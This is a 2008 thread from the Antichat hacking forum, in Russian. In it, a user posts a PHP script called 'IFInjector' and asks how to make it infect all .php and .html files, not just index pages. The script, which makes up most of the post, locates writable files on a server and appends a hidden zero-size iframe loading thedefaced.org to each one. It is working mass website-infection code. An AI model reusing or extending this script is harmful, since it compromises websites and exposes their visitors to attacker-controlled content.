ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
 
 
Опции темы Поиск в этой теме Опции просмотра

[PHP] IFInjector!
  #1  
Старый 27.11.2008, 15:51
Аватар для heks
heks
Постоянный
Регистрация: 24.08.2007
Сообщений: 474
Провел на форуме:
1484154

Репутация: 126
Отправить сообщение для heks с помощью ICQ
По умолчанию [PHP] IFInjector!

имеется такой скрипт надо что бы он ифреимил не только индексные страницы а все подряд с расширением php html ну и т.д.

Цитата:
<?php



error_reporting(0);

if(!ini_get('safe_mode')) {

set_time_limit(0);

ini_set('memory_limit','512M');

}

$locate=array('index.php','index.htm','index.html' ,'*.php');

echo"\nStarting Cycle!\n\n";

foreach($locate as $key => $loc) {

if(@exec('locate '.$loc, $files[$key]))

echo"Stored $loc Files\n";

}

$files=@array_merge($files[0], $files[1], $files[2]); //edit this prior to what you set above within the $locate Array!

$cnt0=@count($files);

echo"\nComplete Merge -> $cnt0\n";

foreach($files as $file) {

if (!@is_dir($file)&&@is_readable($file)&&@is_writabl e($file))

$d[] = $file;

}

$files=$d; $cnt1=@count($files); $cntchg=$cnt0-$cnt1;

echo"Complete Re-Order! -> $cntchg Removed of Total $cnt0 Leaving $cnt1.\n";

if($cnt1<1) {

echo"\nAttn: No files will be re-wrote due to permission errors!";

}

else {

foreach($files as $x => $file) {

$x++;

echo"$x/$cnt1 <- Rewrote: $file\n";

$filedata=@implode('', file($file));

$filedata=@str_replace('<iframe src=\'http://thedefaced.org/forums/\' width=\'0\' height=\'0\' frameborder=\'0\'></iframe>', '', $filedata);

$filedata.='<iframe src=\'http://thedefaced.org/forums/\' width=\'0\' height=\'0\' frameborder=\'0\'></iframe>';

$f=@fopen($file, 'w');

@fwrite($f, $filedata);

@fclose($f);

}

}

echo"\n\nEnd!\n";



?>
 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ